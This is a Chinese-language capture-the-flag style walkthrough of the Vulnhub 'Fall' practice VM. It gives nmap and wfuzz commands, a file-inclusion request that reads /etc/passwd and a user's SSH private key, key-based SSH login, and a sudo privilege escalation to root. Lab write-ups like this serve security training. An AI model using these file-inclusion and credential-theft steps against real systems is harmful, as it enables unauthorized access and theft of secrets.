Vulnhub实战-FALL靶机👻
Vulnhub实战-FULL靶机👻
下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/
1.描述
通过描述我们可以知道这个靶机枚举比较多。
2.主机探测,端口扫描
- 主机探测
可以看到扫出主机IP为:192.168.33.60
nmap -sn 192.168.33.0/24
- 接下来进行端口扫描,服务发现
nmaps -sS -p- -v 192.168.33.60
我们可以看到开启了22,80,139,443,445,3306,9090端口,这里端口一大部分都是障眼法噢,比如那个3306,不管了80端口开了,肯定有web服务了,先去看看再说。
3.web服务测试
- 访问IP打开看到一个页面,然后找找看看发现了这样一个页面:
这句话说让我们不要再用test脚本去污染webroot了👀,我没干。那既然有人干了,我们就去看看test.php在不在吧,访问http://192.168.33.60/test.php
,得到如下提示:
提示:说我们的http参数错误
还记得一开始说的这个靶机枚举比较多嘛,这里我们爆破以下http参数吧,通过wfuzz(kali自带的)
不懂命令的可以看看这个教程:https://www.cnblogs.com/Xy--1/p/12913514.html
wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 80 --hc 404,403 -u "http://192.168.33.60/test.php?FUZZ=/etc/passwd" -t 60
可以看到我们成功爆出参数file了,通过file去访问一下看看:
http://192.168.33.60/test.php?file=/etc/passwd
我们看到了用户名qiu,然后这里接着就是通过ssh密钥登录ssh了。
ssh密钥登录的相关知识可以参考如下文章:https://wangdoc.com/ssh/key.html
我们这里通过file存在文件包含漏洞了,接下来我们看看默认的存在密钥的地方有没有私钥吧。
ssh密钥默认存放目录:
/home/用户名/.ssh/id_rsa //rsa加密的私钥
/home/用户名/.ssh/id_rsa.pub //rsa加密的公钥
/home/用户名/.ssh/id_dsa //dsa加密的私钥
/home/用户名/.ssh/id_rsa.pub //dsa加密的公钥
一般ssh加密算法就是rsa和dsa加密。以上都是ssh密钥的默认文件名和默认存放目录
接下来我们尝试读取以下发现了rsa加密的私钥:
我们把私钥文件下载到kali上面然后通过私钥登录ssh,通过私钥登录是不需要密码的,(当然你也可以设置要密码,默认不需要🙃)
wget http://192.168.33.60/test.php?file=/home/qiu/.ssh/id_rsa -O id_rsa
ssh qiu@192.168.33.60 -i id_rsa
4.提权
成功登录ssh之后,我们发现当前用户是qiu,接下来我们想办法提权到root用户。
- 我们首先看看历史命令执行了什么,通过查看历史命令我们发现了当前用户的密码,然后我们看看能够以root权限执行什么命令,我们发现用户可以通过sudo执行所以命令,那么我们就能够通过qiu的密码去登录到root用户了。执行
sudo su
命令成功切换到root用户。
ls -al
cat .bash_history
sudo -l
sudo su
接下来读取proof.txt,先给它777权限在读取,得到flag!👻
个人总结:通过这篇文章我明白了ssh登录可以通过密钥登录,比密码登录更加安全,因为密码登录,弱密码存在被爆破的可能性,密码太难了又记不住。学到了!👍